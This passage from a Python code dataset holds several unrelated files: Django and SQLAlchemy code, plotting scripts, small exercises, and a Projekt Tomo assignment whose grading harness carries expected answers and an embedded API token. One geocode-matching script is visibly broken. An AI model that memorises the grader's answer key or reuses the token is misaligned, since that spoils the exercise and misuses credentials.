movies\n","sub_path":"models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1227,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"186132590","text":"from django.http import Http404\nfrom django.core.exceptions import ObjectDoesNotExist\n\nfrom rest_framework.settings import api_settings\nfrom rest_framework import viewsets\nfrom rest_framework.response import Response\nfrom rest_framework import status\nfrom rest_framework.pagination import LimitOffsetPagination\n\n\nclass ListViewMixin():\n\n model = None\n serializer_class = None\n\n filter_fields = ()\n search_fields = ()\n ordering_fields = ()\n\n filter_backends = api_settings.DEFAULT_FILTER_BACKENDS\n\n def get_queryset(self):\n return self.model.objects.all()\n\n def filter_queryset(self, qs):\n for backend in list(self.filter_backends):\n qs = backend().filter_queryset(self.request, qs, self)\n return qs\n\n def paginate_queryset(self, qs, request):\n self.paginator = self.pagination_class()\n paginated_qs = self.paginator.paginate_queryset(qs, request)\n return paginated_qs\n\n def get_paginated_response(self, data):\n return self.paginator.get_paginated_response(data)\n\n def list(self, request):\n qs = self.filter_queryset(self.get_queryset())\n qs = self.paginate_queryset(qs, request)\n serializer = self.serializer_class(qs, many=True)\n response = self.get_paginated_response(serializer.data)\n return response\n\n\nclass ModelViewSet(ListViewMixin, viewsets.ViewSet):\n \"\"\"\n Custom default model ViewSet class\n \"\"\"\n def get_instance(self, pk):\n try:\n return self.model.objects.get(pk=pk)\n except ObjectDoesNotExist:\n raise Http404\n\n\n def create(self, request):\n serializer = self.serializer_class(\n data=request.data\n )\n if serializer.is_valid():\n serializer.save()\n return Response(\n serializer.data,\n status=status.HTTP_201_CREATED\n )\n return Response(\n serializer.errors,\n status=status.HTTP_400_BAD_REQUEST\n )\n\n def retrieve(self, request, pk):\n instance = self.get_instance(pk)\n serializer = self.serializer_class(instance)\n return Response(\n serializer.data,\n status=status.HTTP_200_OK\n )\n\n def update(self, request, pk):\n instance = self.get_instance(pk)\n serializer = self.serializer_class(\n instance,\n data=request.data\n )\n if serializer.is_valid():\n serializer.save()\n return Response(\n serializer.data,\n status=status.HTTP_200_OK\n )\n return Response(\n serializer.errors,\n status=status.HTTP_400_BAD_REQUEST\n )\n\n def delete(self, request, pk):\n instance = self.get_instance(pk)\n instance.delete()\n return Response(\n status=status.HTTP_200_OK\n )\n","sub_path":"server/api/views/viewsets.py","file_name":"viewsets.py","file_ext":"py","file_size_in_byte":2902,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"574406247","text":"import superfastmatch.client\nimport superfastmatch.federated\nimport superfastmatch.loadbalanced\nfrom django.conf import settings\n\n__all__ = ['Client', 'from_django_conf']\n\nclass Client(superfastmatch.client.Client):\n def __init__(self, confkey='default', *args, **kwargs):\n assert hasattr(settings, 'SUPERFASTMATCH'), \"You must configure the Django Superfastmatch client.\"\n assert confkey in settings.SUPERFASTMATCH, \"You must configure the '{0}' Django Superfastmatch client.\".format(confkey)\n\n def copy_setting(key):\n if key not in kwargs and key in settings.SUPERFASTMATCH[confkey]:\n kwargs[key] = settings.SUPERFASTMATCH[confkey][key]\n\n copy_setting('url')\n copy_setting('username')\n copy_setting('password')\n copy_setting('parse_response')\n copy_setting('timeout')\n\n super(Client, self).__init__(*args, **kwargs)\n\n\ndef from_django_conf(confkey='default'):\n \"\"\"\n Instantiates a superfastmatch client object based on the structure of the configuration specified.\n \n from_django_conf('default') uses the value of django.conf.settings.SUPERFASTMATCH['default']\n\n If the value is a dict, a basic client is returned. A list of dicts\n returns a federated client. In this case each dict is expected to\n have a key 'doctypes' that maps to a list of doctypes on that server.\n Finally, a tuple of dicts will yield a load balanced client. In \n this case the servers are expected to contain exactly the same content.\n \"\"\"\n\n conf = settings.SUPERFASTMATCH[confkey]\n if isinstance(conf, dict):\n return Client(confkey)\n elif isinstance(conf, list):\n clients_by_url = dict()\n clients = dict()\n for subconf in conf:\n for doctype in subconf['doctypes']:\n c = clients_by_url.get(subconf['url'])\n if c is None:\n c = superfastmatch.client.Client(subconf['url'],\n parse_response=subconf.get('parse_response', True))\n clients_by_url[subconf['url']] = c\n clients[doctype] = c\n\n if not clients:\n raise Exception('Django config for federated client {confkey} contained no valid configurations.'.format(confkey=confkey))\n return superfastmatch.federated.FederatedClient(clients)\n elif isinstance(conf, tuple):\n clients = [superfastmatch.Client(url=params.get('url'), parse_response=params.get('parse_response')) for params in conf]\n return superfastmatch.loadbalanced.LoadBalancedClient(clients)\n\nif __name__ == \"__main__\":\n client = Client()\n\n","sub_path":"superfastmatch/djangoclient.py","file_name":"djangoclient.py","file_ext":"py","file_size_in_byte":2671,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"375466901","text":"# -*- coding=utf8 -*-\n\nimport numpy as np \nimport matplotlib.pyplot as plt\nimport csv\nimport sys\n\ndef drawFigure(pxlist, pylist, exlist, eylist):\n\n fig = plt.figure()\n ax1 = fig.add_subplot(111)\n #设置标题 \n ax1.set_title('Scatter Plot') \n #设置X轴标签 \n plt.xlabel('X') \n #设置Y轴标签 \n plt.ylabel('Y') \n\n plt.xlim(0, 21)\n plt.ylim(0, 12) \n #画散点图 \n # ax1.scatter(xlist,ylist,'.','marksize',3) \n ax1.scatter(pxlist, pylist,c = 'b',marker = '.') \n #设置图标 \n ax1.scatter(exlist, eylist, c='y', marker='.')\n \n plt.legend('x1') \n #显示所画的图 \n plt.show() \n\ndef statistic(filename):\n x = [[] for i in range(5)]\n y = [[] for i in range(5)]\n # print (x,y)\n with open(filename) as f:\n reader = csv.reader(f)\n # item = reader\n for i in reader:\n # print(i[0])\n x[int(i[0])] .append (int(i[3]))\n y[int(i[0])] .append (int(i[4]))\n\n return (x,y)\n\ndef drawBar(xlist, ylist, i):\n margin = [5, 13, 8, 2, 8]\n fig, ax = plt.subplots() \n plt.xlim(0, margin[i])\n # plt.ylim(0, 10) \n ax.bar(xlist, ylist, 0.5)\n plt.show()\n\n\ndef parseCSV(filename):\n x = [[] for i in range(5)]\n y = [[] for i in range(5)]\n # print (x,y)\n with open(filename) as f:\n reader = csv.reader(f)\n # item = reader\n for i in reader:\n # print(i[0])\n x[int(i[0])] .append (float(i[1]))\n y[int(i[0])] .append (float(i[2]))\n\n return (x,y)\n\ndef parseElevator(filename):\n x = [[] for i in range(5)]\n y = [[] for i in range(5)]\n # print (x,y)\n with open(filename) as f:\n reader = csv.reader(f)\n # item = reader\n for i in reader:\n # print(i[0])\n x[int(i[0])] .append (float(i[1]))\n y[int(i[0])] .append (float(i[2]))\n\n return (x,y)\n\n\ndef main():\n peopleFile = sys.argv[1]\n elevatorFile = sys.argv[2]\n px, py = parseCSV(peopleFile)\n ex, ey = parseElevator(elevatorFile)\n sx, sy = statistic(elevatorFile)\n # print (ex)\n for i in range(-2,3):\n # print(i)\n # print(x[i])\n pxlist = px[i]\n # print(xlist)\n pylist = py[i]\n exlist = ex[i]\n eylist = ey[i]\n # print(xlist)\n drawFigure(pxlist, pylist, exlist, eylist)\n\n for i in range(-2,3):\n x = sx[i]\n y = sy[i]\n drawBar(x,y,i)\n\n\nif __name__ == '__main__':\n main()\n\n","sub_path":"2019spring/numAnalysis/lab2/figure.py","file_name":"figure.py","file_ext":"py","file_size_in_byte":2499,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"159935037","text":"from collections import deque\n\n\ndef solution(n, edge):\n answer = 0\n graph = [[] for _ in range(n + 1)]\n for i in edge:\n a = i[0]\n b = i[1]\n graph[a].append(b)\n graph[b].append(a)\n visit = [False] * (n + 1)\n\n que = deque()\n for i in graph[1]:\n que.appendleft(i)\n visit[i]=True\n visit[1] = True\n\n while que:\n size = len(que)\n for i in range(size):\n now = que.pop()\n for i in graph[now]:\n if not visit[i]:\n visit[i] = True\n que.appendleft(i)\n\n answer = size\n return answer\n\n\nif __name__ == '__main__':\n arr = [[3, 6], [4, 3], [3, 2], [1, 3], [1, 2], [2, 4], [5, 2]]\n print(solution(6, arr))\n arr2 = [[1,2],[1,3],[2,3]]\n print(solution(3,arr2))","sub_path":"production/Algorithm/python_code/programmers_nosee.py","file_name":"programmers_nosee.py","file_ext":"py","file_size_in_byte":817,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"254626128","text":"import csv\nimport rule_based.stringcmp\n\n\nclass GC_Record:\n def __init__(self, id, location, keyword, type, geocode):\n self.id = id\n self.location = location\n self.keyword = keyword\n self.type = type\n self.geocode = geocode\n\n\ndef retrieve_empty_nonempty(record_list):\n empty_dict = {}\n non_empty_dict = {}\n\n for record in record_list:\n if record.geocode == '':\n empty_dict[record.location] = None\n else:\n non_empty_dict[record.location] = record\n return empty_dict, non_empty_dict\n\n\ndef compare(empty_dict, non_empty_dict):\n for str in empty_dict.keys():\n match_val = 0.0\n match_record = None\n for target in non_empty_dict.keys():\n wink_val = rule_based.stringcmp.winkler(str, target)\n if wink_val > match_val:\n match_val = wink_val\n match_record = non_empty_dict[target]\n if match_val > 0.87:\n empty_dict[str] = match_record\n\n\ndef write_file(matching_dict, output_path):\n w = csv.writer(open(output_path, \"w\"))\n w.writerow(['mispelled_location', 'approximation', 'similarity'])\n for key, val in matching_dict.items():\n w.writerow([key, val['str'], val['val']])\n\n\nempty_set, non_empty_set = retrieve_empty_nonempty(\n '/data/Programs/Python/gc_analysis/raw_analysis/in/out/osm_address.csv')\nmatching_dict = compare(empty_set, non_empty_set)\nwrite_file(matching_dict, 'out/winkler.csv')\n","sub_path":"Programs/Python/new_gc/basics/match.py","file_name":"match.py","file_ext":"py","file_size_in_byte":1483,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"201911337","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n#\n# Exe_5_32.py\n# \n# Copyright 2019 chee <983184728@qq.com>\n# \n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation; either version 2 of the License, or\n# (at your option) any later version.\n# \n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n# \n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,\n# MA 02110-1301, USA.\n# \n# Exe 32\n# 题目:(财务应用程 序:复合值)假设你每月给账户中存储 100 元,且年利率为 5%。所以,\n# 每个月的利率是 5% / 12 = 0.417%. \n\n\ndef main(args):\n monthly_save = eval(input(\"Enter an amount: \"))\n rate = eval(input(\"Enter interest rate of year: \")) / 100\n months = eval(input(\"Enter months: \"))\n\n month_rate = rate / 12\n \n total = 0\n for i in range(months):\n total += monthly_save\n total = total * (1 + month_rate)\n print(\"After {}.th month, there's {:.3f} in your account\".format(i+1, total))\n return 0\n\nif __name__ == '__main__':\n import sys\n sys.exit(main(sys.argv))\n","sub_path":"unit05/Exe_5_32.py","file_name":"Exe_5_32.py","file_ext":"py","file_size_in_byte":1510,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"433673396","text":"from sqlalchemy import Column, BigInteger, Integer, String,\\\n Table\nfrom models import Base\n\n\nuacampaigndaystats = Table('lms_uacampaign_day_stats', Base.metadata,\n Column('stat_date', Integer, primary_key=True),\n Column('year', Integer),\n Column('month', Integer),\n Column('day', Integer),\n Column('campaign_id', BigInteger, primary_key=True),\n Column('campaign_code', String(32)),\n Column('campaign_name', String(64)),\n Column('active_leads_count', Integer, default=0)\n )\n","sub_path":"models/statistics/uacampaigndaystat.py","file_name":"uacampaigndaystat.py","file_ext":"py","file_size_in_byte":711,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"297274322","text":"# =============================================================================\n# Bio čopiči\n#\n# S tekmovanja RTK 2014\n# =====================================================================@018947=\n# 1. podnaloga\n# V Ajdovščini tovarna Wlahna d. o. o. proizvaja krasne veganske bio čopiče, v celoti\n# narejene iz lesa. Leseni ročaji so tako ali tako nekaj običajnega, v tej tovarni pa\n# celó konico čopiča izdelajo iz lesa iste vrste, ki ga zmeljejo in predelajo v celulozna\n# vlakna.\n# V skladišču podjetja imajo lesene palčke enake debeline, a različnih dolžin, iz\n# katerih želijo izdelati same enake čopiče. Za posamezen ročaj potrebujejo $dol_rocaj$ centimetrov\n# lesa v enem kosu. Za konico čopiča pa potrebujejo toliko zmletega lesa, kot\n# ga nastane iz $dol_konica$ centimetrov ene ali več palčk.\n# \n# #### Naloga\n# Napiši funkcijo `koliko_copicev(dol_rocaj, dol_konica, dol_palic)`, ki vrne število čopičev, ki jih podjetje\n# s trenutno zalogo lesa lahko proizvede.\n# \n# #### Vhodni podatki\n# \n# dol_rocaj....dolžina palčke potrebne za en ročaj\n# dol_konica...dolžina palčke potrebna za eno konico\n# dol_palic....tabela dolžin palčk na zalogi v cm\n# \n# #### Izhodni podatki\n# \n# Zaokroženo naravno število, ki predstavlja največje število čopičev, ki jih podjetje lahko proizvede.\n# \n# #### Primer\n# \n# >>> koliko_copicev(4, 20, [423, 116, 235, 13, 119, 60])\n# 40\n# =============================================================================\ndef koliko_copicev(dol_rocaj, dol_konica, dol_palic):\n \"\"\"\n fun vrne št čopičev, ki jih lahko podjetje\n s trenutno zalogo proizvede.\n \n \"\"\"\n skupaj = sum(dol_palic)\n potrebnoZa1 = dol_rocaj + dol_konica\n čopiči = 0\n porabljeno = 0\n \n while skupaj > porabljeno and not skupaj-porabljeno < potrebnoZa1 :\n porabljeno = porabljeno + dol_rocaj + dol_konica\n čopiči += 1\n return čopiči\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n# ============================================================================@\n\n'Če vam Python sporoča, da je v tej vrstici sintaktična napaka,'\n'se napaka v resnici skriva v zadnjih vrsticah vaše kode.'\n\n'Kode od tu naprej NE SPREMINJAJTE!'\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\nimport json, os, re, sys, shutil, traceback, urllib.error, urllib.request\n\n\nimport io, sys\nfrom contextlib import contextmanager\n\nclass VisibleStringIO(io.StringIO):\n def read(self, size=None):\n x = io.StringIO.read(self, size)\n print(x, end='')\n return x\n\n def readline(self, size=None):\n line = io.StringIO.readline(self, size)\n print(line, end='')\n return line\n\nclass Check:\n @staticmethod\n def has_solution(part):\n return part['solution'].strip() != ''\n\n @staticmethod\n def initialize(parts):\n Check.parts = parts\n for part in Check.parts:\n part['valid'] = True\n part['feedback'] = []\n part['secret'] = []\n Check.current_part = None\n Check.part_counter = None\n\n @staticmethod\n def part():\n if Check.part_counter is None:\n Check.part_counter = 0\n else:\n Check.part_counter += 1\n Check.current_part = Check.parts[Check.part_counter]\n return Check.has_solution(Check.current_part)\n\n @staticmethod\n def feedback(message, *args, **kwargs):\n Check.current_part['feedback'].append(message.format(*args, **kwargs))\n\n @staticmethod\n def error(message, *args, **kwargs):\n Check.current_part['valid'] = False\n Check.feedback(message, *args, **kwargs)\n\n @staticmethod\n def clean(x, digits=6, typed=False):\n t = type(x)\n if t is float:\n x = round(x, digits)\n # Since -0.0 differs from 0.0 even after rounding,\n # we change it to 0.0 abusing the fact it behaves as False.\n v = x if x else 0.0\n elif t is complex:\n v = complex(Check.clean(x.real, digits, typed), Check.clean(x.imag, digits, typed))\n elif t is list:\n v = list([Check.clean(y, digits, typed) for y in x])\n elif t is tuple:\n v = tuple([Check.clean(y, digits, typed) for y in x])\n elif t is dict:\n v = sorted([(Check.clean(k, digits, typed), Check.clean(v, digits, typed)) for (k, v) in x.items()])\n elif t is set:\n v = sorted([Check.clean(y, digits, typed) for y in x])\n else:\n v = x\n return (t, v) if typed else v\n\n @staticmethod\n def secret(x, hint=None, clean=None):\n clean = Check.get('clean', clean)\n Check.current_part['secret'].append((str(clean(x)), hint))\n\n @staticmethod\n def equal(expression, expected_result, clean=None, env=None, update_env=None):\n global_env = Check.init_environment(env=env, update_env=update_env)\n clean = Check.get('clean', clean)\n actual_result = eval(expression, global_env)\n if clean(actual_result) != clean(expected_result):\n Check.error('Izraz {0} vrne {1!r} namesto {2!r}.',\n expression, actual_result, expected_result)\n return False\n else:\n return True\n\n @staticmethod\n def run(statements, expected_state, clean=None, env=None, update_env=None):\n code = \"\\n\".join(statements)\n statements = \" >>> \" + \"\\n >>> \".join(statements)\n global_env = Check.init_environment(env=env, update_env=update_env)\n clean = Check.get('clean', clean)\n exec(code, global_env)\n errors = []\n for (x, v) in expected_state.items():\n if x not in global_env:\n errors.append('morajo nastaviti spremenljivko {0}, vendar je ne'.format(x))\n elif clean(global_env[x]) != clean(v):\n errors.append('nastavijo {0} na {1!r} namesto na {2!r}'.format(x, global_env[x], v))\n if errors:\n Check.error('Ukazi\\n{0}\\n{1}.', statements, \";\\n\".join(errors))\n return False\n else:\n return True\n\n @staticmethod\n @contextmanager\n def in_file(filename, content, encoding=None):\n encoding = Check.get('encoding', encoding)\n with open(filename, 'w', encoding=encoding) as f:\n for line in content:\n print(line, file=f)\n old_feedback = Check.current_part['feedback'][:]\n yield\n new_feedback = Check.current_part['feedback'][len(old_feedback):]\n Check.current_part['feedback'] = old_feedback\n if new_feedback:\n new_feedback = ['\\n '.join(error.split('\\n')) for error in new_feedback]\n Check.error('Pri vhodni datoteki {0} z vsebino\\n {1}\\nso se pojavile naslednje napake:\\n- {2}', filename, '\\n '.join(content), '\\n- '.join(new_feedback))\n\n @staticmethod\n @contextmanager\n def input(content, visible=None):\n old_stdin = sys.stdin\n old_feedback = Check.current_part['feedback'][:]\n try:\n with Check.set_stringio(visible):\n sys.stdin = Check.get('stringio')('\\n'.join(content) + '\\n')\n yield\n finally:\n sys.stdin = old_stdin\n new_feedback = Check.current_part['feedback'][len(old_feedback):]\n Check.current_part['feedback'] = old_feedback\n if new_feedback:\n new_feedback = ['\\n '.join(error.split('\\n')) for error in new_feedback]\n Check.error('Pri vhodu\\n {0}\\nso se pojavile naslednje napake:\\n- {1}', '\\n '.join(content), '\\n- '.join(new_feedback))\n\n @staticmethod\n def out_file(filename, content, encoding=None):\n encoding = Check.get('encoding', encoding)\n with open(filename, encoding=encoding) as f:\n out_lines = f.readlines()\n equal, diff, line_width = Check.difflines(out_lines, content)\n if equal:\n return True\n else:\n Check.error('Izhodna datoteka {0}\\n je enaka{1} namesto:\\n {2}', filename, (line_width - 7) * ' ', '\\n '.join(diff))\n return False\n\n @staticmethod\n def output(expression, content, env=None, update_env=None):\n global_env = Check.init_environment(env=env, update_env=update_env)\n old_stdout = sys.stdout\n sys.stdout = io.StringIO()\n try:\n exec(expression, global_env)\n finally:\n output = sys.stdout.getvalue().strip().splitlines()\n sys.stdout = old_stdout\n equal, diff, line_width = Check.difflines(output, content)\n if equal:\n return True\n else:\n Check.error('Program izpiše{0} namesto:\\n {1}', (line_width - 13) * ' ', '\\n '.join(diff))\n return False\n\n @staticmethod\n def difflines(actual_lines, expected_lines):\n actual_len, expected_len = len(actual_lines), len(expected_lines)\n if actual_len < expected_len:\n actual_lines += (expected_len - actual_len) * ['\\n']\n else:\n expected_lines += (actual_len - expected_len) * ['\\n']\n equal = True\n line_width = max(len(actual_line.rstrip()) for actual_line in actual_lines + ['Program izpiše'])\n diff = []\n for out, given in zip(actual_lines, expected_lines):\n out, given = out.rstrip(), given.rstrip()\n if out != given:\n equal = False\n diff.append('{0} {1} {2}'.format(out.ljust(line_width), '|' if out == given else '*', given))\n return equal, diff, line_width\n\n @staticmethod\n def init_environment(env=None, update_env=None):\n global_env = globals()\n if not Check.get('update_env', update_env):\n global_env = dict(global_env)\n global_env.update(Check.get('env', env))\n return global_env\n\n @staticmethod\n def generator(expression, expected_values, should_stop=None, further_iter=None, clean=None, env=None, update_env=None):\n from types import GeneratorType\n global_env = Check.init_environment(env=env, update_env=update_env)\n clean = Check.get('clean', clean)\n gen = eval(expression, global_env)\n if not isinstance(gen, GeneratorType):\n Check.error(\"Izraz {0} ni generator.\", expression)\n return False\n\n try:\n for iteration, expected_value in enumerate(expected_values):\n actual_value = next(gen)\n if clean(actual_value) != clean(expected_value):\n Check.error(\"Vrednost #{0}, ki jo vrne generator {1} je {2!r} namesto {3!r}.\",\n iteration, expression, actual_value, expected_value)\n return False\n for _ in range(Check.get('further_iter', further_iter)):\n next(gen) # we will not validate it\n except StopIteration:\n Check.error(\"Generator {0} se prehitro izteče.\", expression)\n return False\n \n if Check.get('should_stop', should_stop):\n try:\n next(gen)\n Check.error(\"Generator {0} se ne izteče (dovolj zgodaj).\", expression)\n except StopIteration:\n pass # this is fine\n return True\n\n @staticmethod\n def summarize():\n for i, part in enumerate(Check.parts):\n if not Check.has_solution(part):\n print('{0}. podnaloga je brez rešitve.'.format(i + 1))\n elif not part['valid']:\n print('{0}. podnaloga nima veljavne rešitve.'.format(i + 1))\n else:\n print('{0}. podnaloga ima veljavno rešitev.'.format(i + 1))\n for message in part['feedback']:\n print(' - {0}'.format('\\n '.join(message.splitlines())))\n\n settings_stack = [{\n 'clean': clean.__func__,\n 'encoding': None,\n 'env': {},\n 'further_iter': 0,\n 'should_stop': False,\n 'stringio': VisibleStringIO,\n 'update_env': False,\n }]\n\n @staticmethod\n def get(key, value=None):\n if value is None:\n return Check.settings_stack[-1][key]\n return value\n\n @staticmethod\n @contextmanager\n def set(**kwargs):\n settings = dict(Check.settings_stack[-1])\n settings.update(kwargs)\n Check.settings_stack.append(settings)\n try:\n yield\n finally:\n Check.settings_stack.pop()\n\n @staticmethod\n @contextmanager\n def set_clean(clean=None, **kwargs):\n clean = clean or Check.clean\n with Check.set(clean=(lambda x: clean(x, **kwargs))\n if kwargs else clean):\n yield\n\n @staticmethod\n @contextmanager\n def set_environment(**kwargs):\n env = dict(Check.get('env'))\n env.update(kwargs)\n with Check.set(env=env):\n yield\n\n @staticmethod\n @contextmanager\n def set_stringio(stringio):\n if stringio is True:\n stringio = VisibleStringIO\n elif stringio is False:\n stringio = io.StringIO\n if stringio is None or stringio is Check.get('stringio'):\n yield\n else:\n with Check.set(stringio=stringio):\n yield\n\n\ndef _validate_current_file():\n def extract_parts(filename):\n with open(filename, encoding='utf-8') as f:\n source = f.read()\n part_regex = re.compile(\n r'# =+@(?P\\d+)=\\s*\\n' # beginning of header\n r'(\\s*#( [^\\n]*)?\\n)+?' # description\n r'\\s*# =+\\s*?\\n' # end of header\n r'(?P.*?)' # solution\n r'(?=\\n\\s*# =+@)', # beginning of next part\n flags=re.DOTALL | re.MULTILINE\n )\n parts = [{\n 'part': int(match.group('part')),\n 'solution': match.group('solution')\n } for match in part_regex.finditer(source)]\n # The last solution extends all the way to the validation code,\n # so we strip any trailing whitespace from it.\n parts[-1]['solution'] = parts[-1]['solution'].rstrip()\n return parts\n\n def backup(filename):\n backup_filename = None\n suffix = 1\n while not backup_filename or os.path.exists(backup_filename):\n backup_filename = '{0}.{1}'.format(filename, suffix)\n suffix += 1\n shutil.copy(filename, backup_filename)\n return backup_filename\n\n def submit_parts(parts, url, token):\n submitted_parts = []\n for part in parts:\n if Check.has_solution(part):\n submitted_part = {\n 'part': part['part'],\n 'solution': part['solution'],\n 'valid': part['valid'],\n 'secret': [x for (x, _) in part['secret']],\n 'feedback': json.dumps(part['feedback']),\n }\n if 'token' in part:\n submitted_part['token'] = part['token']\n submitted_parts.append(submitted_part)\n data = json.dumps(submitted_parts).encode('utf-8')\n headers = {\n 'Authorization': token,\n 'content-type': 'application/json'\n }\n request = urllib.request.Request(url, data=data, headers=headers)\n response = urllib.request.urlopen(request)\n return json.loads(response.read().decode('utf-8'))\n\n def update_attempts(old_parts, response):\n updates = {}\n for part in response['attempts']:\n part['feedback'] = json.loads(part['feedback'])\n updates[part['part']] = part\n for part in old_parts:\n valid_before = part['valid']\n part.update(updates.get(part['part'], {}))\n valid_after = part['valid']\n if valid_before and not valid_after:\n wrong_index = response['wrong_indices'].get(str(part['part']))\n if wrong_index is not None:\n hint = part['secret'][wrong_index][1]\n if hint:\n part['feedback'].append('Namig: {}'.format(hint))\n\n\n filename = os.path.abspath(sys.argv[0])\n file_parts = extract_parts(filename)\n Check.initialize(file_parts)\n\n if Check.part():\n Check.current_part['token'] = 'eyJ1c2VyIjozMzA3LCJwYXJ0IjoxODk0N30:1gNcDR:-yfjZ6C4gm50iu320x_C7JAphfg'\n try:\n L0 = [423, 116, 235, 13, 119, 60]\n L1 = [423, 116, 235, 13, 119, 60, 336, 154, 322, 56, 86, 57, 201, 369, 420, 196, 348, 379, 450, 37, 346, 258, 213, 158,\n 379, 445, 322, 200, 435, 319, 371, 13, 152, 409, 164, 320, 436, 272, 371, 453, 96, 191, 349, 287, 164, 265, 251,\n 218, 422, 123, 370, 290, 82, 442, 498, 175, 386, 26, 440, 187, 215, 16, 212, 398, 171, 371, 89, 269, 251, 233, 40,\n 231, 367, 482, 329, 364, 353, 275, 15, 342, 21, 41, 2, 67, 22, 224, 306, 464, 454, 376, 156, 101, 139, 284, 207,\n 91, 323, 494, 424, 306, 99]\n L2 = [51, 365, 54, 500, 381, 453, 59, 207, 459, 460, 18, 435, 500, 352, 301, 454, 497, 26, 167, 266, 500, 492, 218, 108,\n 234, 250, 324, 451, 329, 116, 161, 340, 388, 334, 104, 314, 263, 332, 276, 356, 239, 249, 193, 213, 417, 287, 120,\n 167, 353, 172, 100, 155, 333, 369, 24, 434, 266, 11, 126, 377, 150, 117, 209, 104, 248, 461, 140, 245, 36, 175,\n 200, 107, 135, 82, 343, 300, 218, 153, 314, 78, 129, 440, 351, 18, 257, 94, 159, 384, 37, 247, 179, 347, 391, 340,\n 157, 290, 289, 115, 19, 294, 74]\n L3 = [121, 216, 203, 467, 284, 253, 494, 329, 157, 267, 35, 443, 375, 259, 498, 267, 482, 462, 361, 243, 8, 233, 76,\n 311, 485, 452, 259, 190, 418, 66, 103, 191, 214, 269, 458, 348, 99, 155, 271, 268, 458, 247, 352, 34, 390, 192,\n 78, 152, 436, 86, 112, 116, 112, 335, 95, 42, 250, 277, 162, 201, 194, 359, 495, 121, 428, 273, 429, 470, 416,\n 179, 343, 79, 475, 128, 325, 477, 64, 490, 61, 12, 277, 268, 378, 110, 43, 107, 411, 192, 426, 153, 296, 495, 237,\n 19, 337, 470, 43, 420, 305, 69, 296]\n L4 = [227, 451, 334, 286, 212, 13, 222, 396, 245, 197, 3, 305, 183, 416, 19, 182, 225, 56, 409, 414, 283, 17, 284, 342,\n 25, 102, 321, 426, 30, 433, 225, 221, 401, 84, 384, 324, 244, 383, 442, 293, 475, 488, 258, 481, 6, 186, 261, 351,\n 432, 403, 87, 237, 153, 189, 430, 421, 32, 168, 181, 467, 496, 86, 178, 17, 20, 434, 181, 178, 5, 186, 496, 136,\n 147, 426, 476, 201, 493, 124, 228, 495, 214, 466, 338, 39, 208, 496, 216, 270, 355, 140, 215, 319, 217, 78, 239,\n 274, 330, 61, 239, 464, 210]\n L5 = [433, 410, 82, 30, 301, 37, 215, 30, 325, 305, 196, 384, 15, 262, 374, 349, 449, 433, 115, 351, 54, 77, 1, 160,\n 135, 212, 110, 13, 165, 258, 214, 16, 53, 281, 99, 446, 446, 362, 184, 314, 149, 63, 83, 289, 40, 463, 150, 311,\n 112, 139, 25, 410, 100, 86, 407, 258, 335, 478, 230, 302, 32, 211, 263, 236, 168, 420, 214, 298, 310, 445, 208,\n 84, 492, 277, 424, 498, 196, 281, 276, 305, 172, 349, 387, 49, 481, 486, 187, 297, 83, 471, 483, 223, 381, 300,\n 121, 127, 46, 186, 187, 40, 118]\n L6 = [253, 120, 136, 171, 438, 375, 286, 330, 356, 230, 459, 192, 81, 79, 139, 22, 451, 335, 99, 272, 97, 310, 361, 159,\n 53, 303, 153, 356, 109, 25, 308, 307, 151, 48, 62, 407, 474, 396, 289, 221, 282, 428, 159, 397, 407, 240, 150,\n 337, 225, 246, 68, 141, 14, 153, 240, 246, 372, 264, 116, 425, 70, 305, 55, 43, 372, 86, 192, 333, 455, 28, 260,\n 239, 8, 274, 450, 92, 201, 150, 292, 390, 15, 371, 83, 15, 149, 25, 139, 32, 113, 185, 19, 144, 174, 351, 489,\n 341, 327, 140, 292, 195, 136]\n \n \n Check.equal('koliko_copicev(4, 20, {0})'.format(L0), 40)\n Check.equal('koliko_copicev(4, 20, {0})'.format(L1), 1054)\n Check.equal('koliko_copicev(1, 5, {0})'.format(L2), 4154)\n Check.equal('koliko_copicev(3, 35, {0})'.format(L3), 694)\n Check.equal('koliko_copicev(30, 200, {0})'.format(L4), 113)\n Check.equal('koliko_copicev(4, 20, {0})'.format(L5), 997)\n Check.equal('koliko_copicev(4, 20, {0})'.format(L6), 931)\n except:\n Check.error(\"Testi sprožijo izjemo\\n {0}\",\n \"\\n \".join(traceback.format_exc().split(\"\\n\"))[:-2])\n\n print('Shranjujem rešitve na strežnik... ', end=\"\")\n try:\n url = 'https://www.projekt-tomo.si/api/attempts/submit/'\n token = 'Token b47eb18147c843f4468f2cfeab73059790682aa8'\n response = submit_parts(Check.parts, url, token)\n except urllib.error.URLError:\n print('PRI SHRANJEVANJU JE PRIŠLO DO NAPAKE! Poskusite znova.')\n else:\n print('Rešitve so shranjene.')\n 